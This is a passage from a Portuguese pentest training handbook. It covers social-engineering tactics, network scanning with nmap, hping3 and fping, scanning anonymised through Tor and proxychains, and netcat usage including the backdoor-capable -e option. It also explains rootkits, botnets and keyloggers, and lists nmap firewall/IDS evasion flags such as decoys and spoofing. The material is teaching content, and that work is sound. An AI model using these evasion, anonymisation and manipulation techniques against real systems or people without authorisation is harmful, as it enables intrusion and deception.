
Dentro de empresas, o roubo de credenciais, para acessar informações que não es-tão acessíveis a todos, é um fato corriqueiro, que pode passar pelo simples shouldersurfing à clonagem de ID Card.

PenTest - Segurança Hacker Página 105

Linux Force – www.linuxforce.com.br Engenharia Social

7.3.3 Phishing Scam

É uma forma de fraude eletrônica, caracterizada por tentativas de adquirir informa-ções sigilosas, ou instalar programas maliciosos na máquina alvo.

Na prática do Phishing surgem artimanhas cada vez mais sofisticadas para "pes-car"(do inglês fish) as informações sigilosas dos usuários.

7.3.4 URL Obfuscation

Técnica utilizada para diminuir o tamanho de URL’s muito grandes.

Exemplos de serviços:

• migre.me

• okm.me

• digi.to

Isso pode ser utilizado para ocultar URL com parâmetros ou tags maliciosos, comotags de javascript para ataques de XSS, por exemplo.

7.3.5 Dumpster Diving

É o ato de vasculhar lixeiras em busca de informações.

Todos os dias são jogados no lixo de empresas vários documentos por terem perdidosua utilidade. Os atacantes podem aproveitar essas informações e usá-las para umataque.

7.3.6 Persuasão

Os próprios hackers vêem a engenharia social de um ponto de vista psicológico,enfatizando como criar o ambiente psicológico perfeito para um ataque.

PenTest - Segurança Hacker Página 106

Linux Force – www.linuxforce.com.br Engenharia Social

Os métodos básicos de persuasão são: personificação, insinuação, conformidade,difusão de responsabilidade e a velha amizade.

Independente do método usado, o objetivo principal é convencer a pessoa que daráa informação, de que o engenheiro social é de fato uma pessoa a quem ela podeconfiar as informações prestadas. Outro fator importante é nunca pedir muita infor-mação de uma só vez e sim perguntar aos poucos e para pessoas diferentes, a fimde manter a aparência de uma relação confortável.

7.4 Engenharia Social Reversa

Um método mais avançado de conseguir informações ilícitas é com a engenhariasocial reversa. Isto ocorre quando o atacante cria uma personalidade que aparecenuma posição de autoridade, de modo que todos os usuários lhe pedirão informação.Se pesquisados, planejados e bem executados, os ataques de engenharia socialreversa permitem extrair dos funcionários informações muito valiosas; entretanto, istorequer muita preparação e pesquisa.

Os três métodos de ataques de engenharia social reversa são, sabotagem, propa-ganda e ajuda. Na sabotagem, o hacker causa problemas na rede, então divulgaque possui a solução para este, e se propõe a solucioná-lo. Na expectativa de vera falha corrigida, os funcionários passam para o hacker todas as informações porele solicitadas. Após atingir o seu objetivo, o hacker elimina a falha e a rede voltafuncionar normalmente. Resolvido o problema os funcionários sentem-se satisfeitose jamais desconfiarão que foram alvos de um hacker.

A melhor referência que atualmente temos sobre engenharia social, é o site do pro-jeto Social Engineering Framework. Para maiores informações acessem:

http://www.social-engineer.org/framework/Social_Engineering_Framework

PenTest - Segurança Hacker Página 107

8 Varreduras ativas, passivas efurtivas de rede

8.1 Varreduras Internet Control Messages Protocol(ICMP)

O protocolo IP (Internet Protocol) é conhecido como ”protocolo do melhor esforço”,devido a sua característica de sempre procurar o melhor caminho até uma determi-nada rede ou host. O IP possui um fiel escudeiro, um chamado ICMP (Internet Con-trol Messages Protocol) e, de acordo com a RFC792 o ICMP é empregado quando:

• Quando um pacote não consegue chegar ao destino

• Quando um roteador não consegue encaminhar um pacote

• Quando um roteador descobre uma rota mais curta para um desti

Ferramentas como o ping e o traceroute utilizam o protocolo de controle ICMP paradeterminar se um host está vivo na rede e para mapear os roteadores até um destino,por exemplo.

O ’ping’ é um ICMP echo request (tipo 8) e o ’pong’ é um ICMP echo reply (tipo 0).Há uma infinidade de icmp types, que podem ser consultados no site da iana.

Sabendo dessa particularidade, podemos utilizar uma ferramenta simples chamadafping, que pode facilmente detectar todos os hosts ativos numa rede, desde que osmesmos respondam icmp.

1 #fping -c1 -g 192.168.200.0/24 2> /dev/null |grep alive

O nmap também pode ser usado com a opção –sP

Linux Force – www.linuxforce.com.br Varreduras ativas, passivas e furtivas de rede

1 #nmap -sP 192.168.200.0/24

No caso do nmap, se utilizarmos a opção Ping Scan (-sP), observamos que mesmose uma máquina estiver bloqueando pacotes ICMP, ele poderá listá-la como ativa,pois ele também envia pacotes TCP para algumas portas, como por exemplo a porta80.

Assim, conseguimos a lista de todos os computadores que respondem ping na rede.

8.2 Varreduras TCP

Enquanto que as varreduras ICMP nos informam a quantidade de hosts ativos emuma rede, as varreduras TCP nos informam o número de portas abertas em umdeterminado computador. Para descobrir se uma porta esta aberta ou fechada, oprograma chamado port scanner manipula uma característica do protocolo TCP, cha-mada Three Way Handshake, descrita na RFC 793.

De acordo com a imagem, o cliente, que deseja conectar-se a um servidor, envia umpedido de conexão, ou seja, no cabeçalho do datagrama TCP contém uma flag do

PenTest - Segurança Hacker Página 109

Linux Force – www.linuxforce.com.br Varreduras ativas, passivas e furtivas de rede

tipo ”SYN”.

O servidor, que está apto a atender novas requisições responde então com um data-grama TCP contendo uma flag do tipo ”SYN”+ ”ACK”.

O cliente então responde com um datagrama contendo um ”ACK”, e então é estabe-lecida a conexão.

De acordo com a RFC 793, que define os parâmetros para o protocolo TCP, todaporta aberta deve responder com a flag ”SYN+ACK”, e toda porta fechada deve res-ponder com uma flag ”RST”.

Para identificar este comportamento, vamos utilizar a ferramenta linha de comandohping3.

Verificando o comportamento de um servidor com a porta 80 aberta.

1 # hping3 --syn -c 1 -p 80 192.168.0.1732 HPING 192.168.0.173 (eth0 192.168.0.173): S set , 40 headers + 0 data

bytes3 len=46 ip =192.168.0.173 ttl =128 DF id=1067 sport =80 flags=SA seq=0

win =64240 rtt =4.3 ms

O mesmo comando agora em uma porta fechada.

1 # hping3 --syn -c 1 -p 81 192.168.0.1732 HPING 192.168.0.173 (eth0 192.168.0.173): S set , 40 headers + 0 data

bytes3 len=46 ip =192.168.0.173 ttl =128 id=1069 sport =81 flags=RA seq=0 win

=0 rtt =1.0 ms

Perceba que as respostas são, SA, que representa um ”SYN + ACK”, e um RA, querepresenta um ”Reset + ACK”, a resposta padrão para portas fechadas.

8.3 NMAP

Nmap pode ser considerada uma das ferramentas mais completas para realizar var-reduras em redes, pois possui um número imenso de opções, permitindo explorar-

PenTest - Segurança Hacker Página 110

Linux Force – www.linuxforce.com.br Varreduras ativas, passivas e furtivas de rede

mos quase todas as possibilidades de varreduras possíveis.

Essa ferramenta possui, inclusive, opções que permitem burlar sistemas de proteção,como IDS/IPS e Firewall, cujas regras poderiam bloquear ou detectar varreduras nãopermitidas.

Sintaxe: nmap [Scan Type(s)] [Options] target specification

8.4 Métodos de Varredura

8.4.1 -sP

Ping scan: Algumas vezes é necessário saber se um determinado host ou rede estáno ar. Nmap pode enviar pacotes ICMP “echo request” para verificar se determinadohost ou rede está ativa. Hoje em dia, existem muitos filtros que rejeitam os pacotesICMP “echo request”, então envia um pacote TCP ACK para a porta 80 (default) ecaso receba RST o alvo está ativo. A terceira técnica envia um pacote SYN e esperaum RST ou SYN-ACK.

8.4.2 -sV

Version detection: Após as portas TCP e/ou UDP serem descobertas por algumdos métodos, o nmap irá determinar qual o serviço está rodando atualmente. Oarquivo nmap-service-probes é utilizado para determinar tipos de protocolos, nomeda aplicação, número da versão e outros detalhes.

8.4.3 -sS

TCP SYN scan: Técnica também conhecida como “half-open”, pois não abre umaconexão TCP completa. É enviado um pacote SYN, como se ele fosse uma conexãoreal e aguarda uma resposta. Caso um pacote SYN-ACK seja recebido, a porta estáaberta, enquanto que um RST-ACK como resposta indica que a porta está fechada. Avantagem dessa abordagem é que poucos irão detectar esse scanning de portas.

PenTest - Segurança Hacker Página 111

Linux Force – www.linuxforce.com.br Varreduras ativas, passivas e furtivas de rede

8.4.4 -sT

TCP connect() scan: É a técnica mais básica de TCP scanning. É utilizada a cha-mada de sistema (system call) “connect()” que envia um sinal as portas ativas. Casoa porta esteja aberta recebe como resposta “connect()”. É um dos scan mais rápidos,porém fácil de ser detectado.

8.4.5 -sU

UDP scan: Este método é utilizado para determinar qual porta UDP está aberta emum host. A técnica consiste em enviar um pacote UDP de 0 byte para cada porta dohost. Se for recebida uma mensagem ICMP “port unreachable” então a porta estáfechada, senão a porta pode estar aberta. Para variar um pouco, a Microsoft ignoroua sugestão da RFC e com isso a varredura de máquinas Windows é muito rápida.

8.4.6 -sF, -sX, -sN

Stealth FIN, Xmas Tree ou Null: Alguns firewalls e filtros de pacotes detectam pa-cotes SYN’s em portas restritas, então é necessário utilizar métodos avançados paraatravessar esses softwares.

FIN: Portas fechadas enviam um pacote RST como resposta a pacotes FIN, en-quanto portas abertas ignoram esses pacotes. (Esse método não funciona com aplataforma Windows, uma vez que a Microsoft não seguiu RFC 973)

Xmas Tree: Portas fechadas enviam um pacote RST como resposta a pacotes FIN,enquanto portas abertas ignoram esses pacotes. As flags FIN, URG e PUSH sãoutilizados nos pacotes FIN que é enviado ao alvo. (Esse método não funciona com aplataforma Windows, uma vez que a Microsoft não seguiu RFC 973)

Null: Portas fechadas enviam um pacote RST como resposta a pacotes FIN, en-quanto portas abertas ignoram esses pacotes. Nenhuma flag é ligada no pacoteFIN. (Esse método não funciona com a plataforma Windows, uma vez que a Micro-soft não seguiu RFC 973)

PenTest - Segurança Hacker Página 112

Linux Force – www.linuxforce.com.br Varreduras ativas, passivas e furtivas de rede

8.4.7 -T <Paranoid|Sneaky|Polite|Normal|Aggressive|Insane>

Esse parâmetro seta a prioridade de varredura do Nmap:

• Paranoid (-T0) é muito lento na esperança de prevenir a detecção pelo sistemaIDS. Este serializa todos os scans (scanning não paralelo) e geralmente esperano mínimo 5 minutos entre o envio de pacotes.

• Sneaky (-T1) é similar ao Paranoid, exceto que somente espera 15 segundosentre o envio de pacotes.

• Polite (-T2) tem o significado para facilitar a carga na rede e reduzir as chancesde travar a máquina. Ele serializa os testes e espera no mínimo 0.4 segundosentre eles.

• Normal (-T3) é o comportamento default do Nmap, o qual tenta executar tãorápido quanto possível sem sobrecarregar a rede ou perder hosts/portas.

• Aggressive(-T4) esse modo adiciona um timeout de 5 minutos por host e nuncaespera mais que 1.25 segundos para testar as respostas.

• Insane (-T5) é somente adequando para redes muito rápidas ou onde você nãose importa em perder algumas informações. Nesta opção o timeout dos hostsacontece em 75 segundos e espera somente 0.3 segundos por teste individual.

Opções Interessantes:-p ⇒ Utilizado para especificar portas-O ⇒ Mostra a versão do S.O-P0 ⇒ Desativa ICMP tipo 8 e o TCP ACK na porta 80

8.5 Anonymizer

Os programas de anonymizer funcionam basicamente para ocultar seus dados en-quanto navega na internet.

Normalmente a aplicação utilizada para isso é um proxy, que após configurado, per-mite que seu IP seja mascarado, fornecendo o dele como IP real.

PenTest - Segurança Hacker Página 113

Linux Force – www.linuxforce.com.br Varreduras ativas, passivas e furtivas de rede

Com isso, é possível proteger o conteúdo de e-mails, textos de softwares de mensa-gens instantâneas, IRC e outros aplicativos que usam o protocolo TCP.

Uma boa ferramenta para utilizarmos mantendo nossos dados de navegação prote-gidos, é o TOR – The Onion Router.

O programa foi desenvolvido pelo Laboratório Central da Marinha para Segurança deComputadores, com a ajuda da Darpa (www.darpa.mil), a agência criada no auge daguerra fria com o objetivo de transformar os Estados Unidos em uma superpotênciatecnológica. Para quem não se lembra, foi a Darpa (na época sem o D) quem coor-denou os estudos para a construção de uma rede descentralizada de computadores,capaz de resistir a qualquer ataque localizado. Foi assim que nasceu a Arpanet, oembrião do que hoje chamamos internet.

O Tor andava meio esquecido, até que a Electronic Frontier Foundation, uma en-tidade civil que se destaca pelo vigor com que combate nos tribunais os abusosgovernamentais contra os direitos individuais, decidiu apoiar politicamente o projetoe contribuir financeiramente para que ele cresça, fique forte e consiga deixar cadavez mais gente invisível.

Outro programa, que trabalha junto com o TOR, é o privoxy, que evita o envio dequalquer dado enviado pelo navegado alcance a intranet, bloqueando-os no cami-nho. Isso evita que através desses dados, qualquer informação do internauta sejacapturada, e sua localização descoberta.

TOR – The Onion Router

http://www.torproject.org/

http://www.privoxy.org

8.5.1 Instalando e testando o TOR no BackTrack

Editando o sources

PenTest - Segurança Hacker Página 114

Linux Force – www.linuxforce.com.br Varreduras ativas, passivas e furtivas de rede

1 #vim /etc/apt/sources.list2 deb http ://deb.torproject.org/torproject.org lucid main3 deb -src http ://deb.torproject.org/torproject.org lucid main45 #gpg --keyserver keys.gnupg.net --recv 886 DDD896 #gpg --export A3C4F0F979CAA22CDBA8F512EE8CBC9E886DDD89 | apt -key add

-

Atualizando o pacote

1 #apt -get update

Instalando os pacotes

1 #apt -get install tor tor -geoipdb privoxy

Configurando privoxy

1 #vim /etc/privoxy/config23 forward -socks4a / 127.0.0.1:9050 .

Testando

1 #tor2 #nmap localhost3 #netstat -ntpl|grep privoxy4 #netstat -ntpl|grep tor

Addon do Firefox

1 #wget -c https ://www.torproject.org/dist/torbutton/torbutton -current.xpi

PenTest - Segurança Hacker Página 115

Linux Force – www.linuxforce.com.br Varreduras ativas, passivas e furtivas de rede

No browser faça: file:///root/torbutton-current.xpi

Testando o navegador

https://torcheck.xenobite.eu/

Scaneando redes de forma anonima

1 #proxychains nmap -sT -PN -n -sV -p21 ,25,80 10.0.2.1523 #torify nmap -sT -PN -n -sV -p21 ,25,80 10.0.2.1

PenTest - Segurança Hacker Página 116

9 Enumeração de informações eserviços

9.1 Enumeração

As técnicas de enumeração são utilizadas como um complemento às fases de fin-gerprint e varredura.

O objetivo é descobrir serviços e versões que estão sendo executados no sistemaalvo, facilitando a posterior pesquisa de vulnerabilidades e exploits específicos.

Quanto mais informações tivermos sobre nosso alvo, mais fácil será para encontrar-mos vulnerabilidades e melhorarmos nossos vetores de ataque. Sabendo os servi-ços rodando e as versões dos mesmos, torna-se possível encontrarmos os exploitscorretos e as vulnerabilidades que poderão ser exploradas.

Além disso, na fase de enumeração, mapeameos toda a rede do alvo, descobrindoos pontos falhos e onde podemos explorar para conseguir acesso a informaçõesestratégicas.

9.2 Aquisição de banners

Falaremos agora a respeito da captura de informações sobre os serviços que es-tão rodando em uma máquina-alvo por meio da leitura de seus respectivos bannersque são aquelas mensagens que contém informações como o tipo do serviço, suaversão, etc. Essas informações visam estabelecer um levantamento dos serviçosutilizados, onde o foco de um possível ataque pode estar voltado para a exploraçãode vulnerabilidades desses serviços.

Linux Force – www.linuxforce.com.br Enumeração de informações e serviços

9.2.1 Técnicas clássicas

Sem utilizar ferramentas específicas, é possível conseguir informações dos serviçosque estão sendo executados em determinada porta. Abaixo veremos dois exemplos,utilizando ftp e telnet. Obtendo banner de um servidor ftp:

1 #ftp 192.168.200.254

Obtendo banner de um servidor de e-mail:

1 #telnet 192.168.200.205 252 HELO [domínio]3 MAIL FROM: [endereço_origem]4 RCPT TO: [endereço_destino]5 DATA6 ( ... msg ... )7 .8 quit

Com o comando telnet, podemos tentar conectar em todas as portas existentes paraverificar o que está sendo executado.

Obviamente que esse é um método lento e impossível de ser executado nas maisde 65000 portas existentes, mas é interessante conhecê-lo, e ainda evita a detecçãopor IDS ou firewall.

9.2.2 Ferramentas

nmap Realiza varredura de rede, buscando hosts ativos, portas abertas e serviçossendo executados.

xprobe2 Analisa banners de sistemas operacionais, comparando com um bancode dados interno, onde compara-os e informa o S.O. utilizado e a versão domesmo.

amap Analiza banners de serviços que estão sendo executados, e informa o nomee versão.

PenTest - Segurança Hacker Página 118

Linux Force – www.linuxforce.com.br Enumeração de informações e serviços

autoscan Faz varredura na rede e informa hosts ativos, portas abertas e serviçossendo executados. Funciona através de uma interface gráfica.

maltego Faz varredura de redes, serviços, protocolos, domínios e várias outras op-ções, informando de forma gráfica a relação entres os hosts ativos.

lanmap Varre toda a rede e captura pacotes, criando ao longo de sua execuçãoum arquivo .PNG com o mapa da rede, informando graficamente a relação dasmáquinas encontradas.

cheops Varre toda a rede em busca de hosts ativos, informando graficamente, atra-vés de um mapa, os hosts ativos, S.O. sendo executado, portas abertas, ser-viços sendo executados. Utiliza o nmap por debaixo de sua execução, pararealizar as varreduras.

nessus Através de plugins específicos, varre um determinado alvo, informando asvulnerabilidades encontradas, inclusive exibindo o link de onde podemos en-contrar mais informações sobre determinada vulnerabilidade e seu exploit.

PenTest - Segurança Hacker Página 119

10 Trojans, Backdoors, Vírus,Rootkits e Worms

10.1 Backdoor

As backdoors são programas destinados a fornecer um meio de acesso remoto aohacker a uma máquina que provavelmente teve sua segurança comprometida porele anteriormente. Normalmente, esses programas abrem uma porta no computadoratacado, e nessa porta tem o servidor do hacker escutando, apenas esperando ohacker se conectar nela para dar total acesso ao computador.

Mas, como esse método ficou fácil de ser detectado, pois com uma simples varredurapor portas abertas na máquina entregaria o hacker, novas técnicas mais avançadastem surgido, tais como backdoors que não abrem portas, mas sim ficam ouvindoportas já abertas na máquina, e então quando detectam um tipo específico de dadopreviamente estabelecido chegando nessa porta, a backdoor já sabe que é o hackerque está querendo se conectar ao alvo e então, lança uma conexão para o computa-dor do hacker. Esse tipo de backdoor é conhecido por Non-listen Backdoor.

Também podemos ter backdoors implantadas propositalmente em programas pelosprogramadores. Existem diversos casos onde foram descobertas maneiras de aces-sar um programa através de um login ou comando que não estava documentado.

10.2 Cavalo de Tróia ou Trojan Horse

Segundo os historiadores, os gregos tentaram invadir Tróia e sempre eram derrota-dos pelos troianos. Então, os gregos tiveram uma brilhante idéia de criar um cavalode madeira onde eles iriam colocar diversos soldados e presentear os troianos comoreconhecimento da potencial defesa e declaração de paz. Com isso, os gregos con-seguiram chegar ao coração de Tróia sem passar pelos muros e soldados troianos.

Linux Force – www.linuxforce.com.br Trojans, Backdoors, Vírus, Rootkits e Worms

Então, enquanto os troianos comemoravam a vitória e descansavam tranquilamente,os soldados gregos saíram do cavalo e atacaram Tróia, que acabou sendo conquis-tada pelos gregos. Essa história ficou conhecida como Cavalo de Tróia.

Então, depois de vários séculos desse acontecimento, acabamos descobrindo queesse truque foi ressuscitado.

Os cavalos de tróia dos computadores são programas que aparentemente funcionamnormais, mas na verdade eles acabam realizando outra tarefa sem que o usuáriotome conhecimento. Um exemplo disso é quando recebemos um email contendo umjogo anexado. Quando rodamos o jogo, conseguimos jogar normalmente, mas naverdade, alem do jogo, pode estar sendo executados outros programas em conjuntospara dar acesso ao seu computador a um possível atacante quando você se conectarà internet ou então, você pode ter informações roubadas e enviadas por email parao atacante ou onde for a imaginação do hacker.

Um exemplo de um cavalo de tróia é quando um hacker altera um arquivo do compu-tador para se esconder ou esconder os seus arquivos dentro da maquina invadida.Isso pode ser feito alterando o programa responsável por listar os arquivos dentrode um diretório ou então alterando o programa responsável por mostrar todas asconexões ativas ao computador para o administrador.

Um hacker, quando ataca uma máquina, provavelmente ele irá instalar um con-junto de ferramentas formadas por trojans e backdoor, para se esconder e garantir oacesso futuro a maquina que foi invadida. Esse conjunto de ferramenta é conhecidopor Rootkit.

10.3 Rootkits

Rootkit é um conjunto de ferramentas que tem como objetivo ofuscar determinadasocorrências do sistema em que se encontra. Normalmente um rootkit é constituídopor trojans e backdoors.

Temos dois principais tipos de rootkits:

User-land

Os binários originais são alterados por binários modificados, alterando o fluxo normaldo programa;

PenTest - Segurança Hacker Página 121

Linux Force – www.linuxforce.com.br Trojans, Backdoors, Vírus, Rootkits e Worms

Primeiramente é executado o código do rootkit e só então é realizada a funcionali-dade real do programa.

Kernel-land

Adiciona código malicioso no kernel através de LKM (Loadable Kernel Module), dri-vers, inserção de código direto na memória, hook de syscall table;

Se bem implementado, é praticamente impossível de ser detectado com o SO emexecução, precisando fazer análise da imagem.

Algumas das funcionalidades do Kernel-land rootkit:

Hide Itself: O módulo se oculta, não aparecendo na listagem de módulos, tornandoassim impossível de descarregá-lo;

File Hider: Todos os arquivos que possuir uma pré-determinada palavra em seunome serão ocultos da visualização;

Process Hider: Todos os processos que possuir uma pré-determinada palavra emseu nome serão ocultos da visualização;

Socket Backdoor: Se um pacote com um tamanho predefinido contendo uma stringespecificada no rootkit for recebido, será iniciará um programa, normalmenteuma backdoor.

10.4 Vírus e worms

Vírus e worms podem ser usados para infectar e modificar um sistema a fim depermitir que um atacante ganhe acesso ao mesmo. Muitos vírus e worms carregamtrojans e backdoors.

Um vírus e um worm são softwares maliciosos (malware). A principal diferença entreo vírus e o worm é que o primeiro, precisa ser executado para infectar o sistema. Osegundo se espalha automaticamente, tendo um poder de infecção muito maior.

Os vírus, para começar a trabalhar, precisam ser ativados, ou seja, você precisaexecutar o programa infectado. Somente após isso, ele começará a infectar outrosarquivos. Se algum arquivo infectado for levado e executado em outro computador,então o vírus começará a atacar os arquivos dos outros computadores também.

PenTest - Segurança Hacker Página 122

Linux Force – www.linuxforce.com.br Trojans, Backdoors, Vírus, Rootkits e Worms

Tanto os vírus quanto os cavalos de tróia não conseguem infectar um computadorexterno sem a ajuda de uma pessoa.

O worm ou verme é um programa que pode infectar tanto uma máquina local quandouma máquina externa. Normalmente, os worms exploram falhas de segurança emoutros programas para se propagarem, como é o caso do worm BLASTER, que ficoumundialmente conhecido após infectar milhares de computadores e poucas horas.Esse worm explorava um problema de programação em um serviço conhecido porrpc-dcom, que vem ativado por padrão nos sistemas operacionais Windows 2000 eWindows XP.

10.5 Bots e Botnets

De modo similar ao Worm, o Bot é um programa capaz de se propagar automatica-mente, explorando vulnerabilidades existentes ou falhas na configuração de softwa-res instalados em um computador. Adicionalmente ao Worm, dispõe de mecanismosde comunicação com o invasor, permitindo que o Bot seja controlado remotamente.

10.5.1 Botnets

Botnets são redes formadas por computadores infectados com Bots.

Estas redes podem ser compostas por centenas ou milhares de computadores.

Um invasor que tenha controle sobre uma Botnet pode utilizá-la para aumentar apotência de seus ataques, por exemplo, para enviar centenas de milhares de e-mailsde Phishing ou Spam, desferir ataques de negação de serviço, etc.

PenTest - Segurança Hacker Página 123

Linux Force – www.linuxforce.com.br Trojans, Backdoors, Vírus, Rootkits e Worms

10.5.2 Como o invasor se comunica com o Bot?

A comunicação entre o invasor e o computador infectado pelo bot pode ocorrer viacanais de IRC, servidores Web e redes do tipo P2P, entre outros meios. Ao se comu-nicar, o invasor pode enviar instruções para que ações maliciosas sejam executadas,como desferir ataques, furtar dados do computador infectado e enviar spam.

Um computador infectado por um bot costuma ser chamado de zumbi (zombie com-puter), pois pode ser controlado remotamente, sem o conhecimento do seu dono.Também pode ser chamado de spam zombie quando o bot instalado o e transformaem um servidor de e-mails e o utiliza para o envio de spam.

10.5.3 Esquema simplificado de uma botnet

O esquema simplificado apresentado a seguir exemplifica o funcionamento básicode uma botnet:

1. Um atacante propaga um tipo especifico de bot na esperanca de infectar econseguir a maior quantidade possivel de zumbis;

2. Os zumbis ficam então disposição do atacante, agora seu controlador, a esperados comandos a serem executados;

3. Quando o controlador deseja que uma ação seja realizada, ele envia aos zum-bis os comandos a serem executados, usando, por exemplo, redes do tipo P2Pou servidores centralizados;

4. Os zumbis executam então os comandos recebidos, durante o periodo prede-terminado pelo controlador;

5. Quando a ação se encerra, os zumbis voltam a ficar a espera dos próximoscomandos a serem executados.

Vamos reproduzir em sala de aula, em ambiente controlado uma botnet, entãose prepare, se você usa algum antivirus, ele pode detectar a ameaça, então duranteesta aula desabilite temporiariamente seu antivirus.

PenTest - Segurança Hacker Página 124

Linux Force – www.linuxforce.com.br Trojans, Backdoors, Vírus, Rootkits e Worms

10.6 Netcat

Netcat é uma ferramenta usada para ler e escrever dados em conexões de redeusando o protocolo TCP/IP. Dada sua grande versatilidade, o Netcat é consideradopelos hackers o canivete suíço do TCP/IP, podendo ser usado para fazer desde ports-cans até brute force attacks.

O nome netcat vem do comando "cat"do Linux/Unix. O cat concatena arquivos eenvia para a saída padrão (stdout). O netcat faz praticamente o mesmo, porém aoinvés de concatenar arquivos, o netcat concatena sockets TCP e UDP.

Possui inúmeras funções, dentre as quais:

• Varredura de portas;

• Banner grabbing;

• Criação de backdoor;

• Tunelamento e etc.

Além de facilitar a vida do administrador de rede, também facilita a vida de um in-vasor, portanto, cuidado! Mate seu processo e remova o binário sempre após autilização, caso não queira tornar-se a vítima.

10.6.1 Opções do Netcat

-e comando Executa o comando especificado usando como entrada (stdin) os da-dos recebidos pela rede e enviando os dados de saída (stdout e stderr) paraa rede. Essa opção somente estará presente se o nc for compilado com a op-ção GAPING_SECURITY_HOLE, já que permite que usuários disponibilizemprogramas para qualquer um conectado a rede;

-i Especifica o intervalo de tempo no qual as linhas de texto serão enviadas ou rece-bidas;

-l Coloca no netcat em estado de escuta (listening);

-L Coloca no netcat em estado de escuta (listening), reiniciando o netcat com amesma linha de comando caso a conexão feche;

PenTest - Segurança Hacker Página 125

Linux Force – www.linuxforce.com.br Trojans, Backdoors, Vírus, Rootkits e Worms

-n Força o netcat a usar apenas endereços de IP numéricos, sem fazer consultas aservidores DNS;

-o filename Usando para obter um log dos dados de entrada ou saída, em formatohexadecimal;

-p Especifica a porta a ser usada, sujeito a disponibilidade e a restrições de privilé-gio;

-r Faz as portas do portscan serem escolhidas aleatoriamente;

-s Especifica o endereço IP da interface usada para enviar os pacotes. Pode serusado para spoofing de IPs, bastando apenas configurar uma interface do tipoeth0:0 (usando o ifconfig) com o IP desejado;

-t Permite usar o nc para criar sessões de telnet por script. Precisa estar compiladocom a opção -DTELNET;

-u Usar UDP ao invés de TCP;

-v Controla o nível de mensagens mostradas na tela;

-w Limita o tempo máximo para que uma conexão seja estabelecida;

-z Para evitar o envio de dados através de uma conexão TCP, e limitar os dados deuma conexão UDP.

10.6.2 Netcat - Utilização

Transferência de arquivos:

No servidor:

1 # netcat -l -p 5050 > file.txt

No cliente:

1 # cat file.txt | netcat ip_server 5050

PenTest - Segurança Hacker Página 126

Linux Force – www.linuxforce.com.br Trojans, Backdoors, Vírus, Rootkits e Worms

Uso como scanner

1 # nc -vv 127.0.0.1 22-25

10.6.3 Encadeando Netcats

Netcat foi desenvolvido para trabalhar com um pipeline, então naturalmente a saídade uma instância do Netcat pode alimentar a entrada de outro. Abaixo segue umamaneira de enviar um arquivo de log de um host para outro através de um interme-diário:

1 host3# nc -l > log.txt2 host2# nc -l --sh-exec "ncat host3"3 host1# nc --send -only host2 < log.txt

O Netcat em modo de escuta no host2, ao receber uma conexão cria um "novonetcat"para falar com o host3 e conecta a entrada e saída do programa em execuçãono host1 e host3 encadeando-os. Esse mesmo "macete"pode ser utilizado em umhost local também. O exemplo a seguir direciona a porta 8080 para o servidor webexemplo.org.br:

1 # nc -l localhost 8080 --sh-exec "ncat exemplo.org.br 80

10.7 Keylogger

Keylogger são programas utilizados para gravar tudo aquilo que o usuário digita noteclado. Alguns, mais avançados, armazenam screenshots da tela ou até mesmo aárea ao redor do ponteiro do mouse onde ocorre um click.

Exemplos de Keyloggers:

Ardamax ⇒ Windows

PenTest - Segurança Hacker Página 127

Linux Force – www.linuxforce.com.br Trojans, Backdoors, Vírus, Rootkits e Worms

Pykeylogger ⇒ Linux - http://sourceforge.net/projects/pykeylogger/files/

Além dos keyloggers lógicos, temos os keyloggers físicos, que podem ser compradosem lojas virtuais por poucos dólares.

Esses keyloggers físicos se parecem com adaptadores de teclados PS2/USB, sendoinstalados entre o cabo do teclado e a entrada PS2 da CPU, só que eles armazenamdentro de uma memória flash tudo o que é digitado no teclado “grampeado”.

Obviamente, que a instalação de um dispositivo desses, seja lógico ou físico, neces-sita do uso de recursos de engenharia social para que o mesmo seja instalado namáquina do alvo. E no caso do keylogger físico, o atacante precisa ter acesso físicoà máquina, tanto para instalar, quanto para pegar de volta o dispositivo.

PenTest - Segurança Hacker Página 128

11 Ignorando Proteções

11.1 Evasão de Firewall/IDS com Nmap

As técnicas de evasão de firewall e IDS são utilizadas para evitar que qualquer tipode aplicação que contenha filtros e controles de acesso, possam detectar as açõesdo atacante. Tanto ferramentas específicas quanto parâmetros de ferramentas cujoobjetivo de utilização não é especificamente esse, podem ser usados. Abaixo vamosver alguns parâmetros do Nmap, que podem ser utilizados para burlar proteções, edo Firewall Tester (FTester), que é utilizado para testar regras de firewall pesquisandocomo está o nível de bloqueio e detecção de pacotes maliciosos.

-f ⇒ fragmenta pacotes, incluindo pacotes IP. A idéia é dividir os cabeçalhos TCPem vários pacotes, dificultando a detecção por filtros de pacotes, IDS e etc.

-D <decoy1>[,<decoy2>][,ME][,...] ⇒ realiza uma varredura utilizando iscas. Fazparecer que vários hosts da rede, juntamente com seu IP, estão varrendo o alvo.Desse modo, o IDS pode reportar 5-10 varreduras em um único IP, mas nãosaberá definir quais são iscas inocentes e qual IP está realmente realizando avarredura.

-S <IP_Address> ⇒ realiza um IP spoofing, fazendo com que um IDS report umavarredura sendo realizada a partir de um outro IP, que não o seu, mas que édefinido por você.

–source-port <portnumber> ⇒ realiza um port spoofing, permitindo que seja defi-nido no pacote de qual porta ele teoricamente foi enviado. Essa técnica exploraas portas abertas no alvo para realizar varreduras que o firewall permitirá porconta de suas regras. As portas mais utilizadas são DNS (53) e FTP (21).

–randomize-hosts ⇒ ordena de forma aleatória os hosts alvos de uma varredura.Isso pode tornar a varredura menos óbvia para sistemas de monitoramento derede, especialmente se combinado com opções de "slow timing".

–spoof-mac <MAC address> ⇒ faz um MAC spoofing, atribuindo um endereço MAC,

Linux Force – www.linuxforce.com.br Ignorando Proteções

definido pelo atacante, para todos os frames ethernet enviados.

11.2 Firewall Tester

Firewall Tester (FTester) é uma ferramenta criada para testar regras de filtragem fi-rewalls e as capacidades Intrusion Detection System (IDS).

A ferramenta consiste em 2 scripts perl, um injetor de pacotes (ftest) e um snifferpassivo (listening sniffer – ftestd).

11.2.1 Características:

• firewall testing

• IDS testing

• Simulação de conexões reais TCP para inspecionar firewalls e IDS.

• Fragmentação de IP / Fragmentação de TCP

• Técnicas de evasão de IDS

Download - http://dev.inversepath.com/ftesterDocumentação - http://dev.inversepath.com/ftester/ftester.html

11.2.2 Utilização:

1 # ./ftest2 # ./ ftestd

PenTest - Segurança Hacker Página 130

Linux Force – www.linuxforce.com.br Ignorando Proteções

11.2.3 Sintaxe:

Para pacotes TCP e UDP:

IP_origem:porta_origem:IP_destino:porta_destino:Flags:Protocolo:Tipo_serviço

Para pacotes ICMP:

IP_origem:porta_origem:IP_destino:porta_destino:Flags:ICMP:tipo_icmp:código_icmp

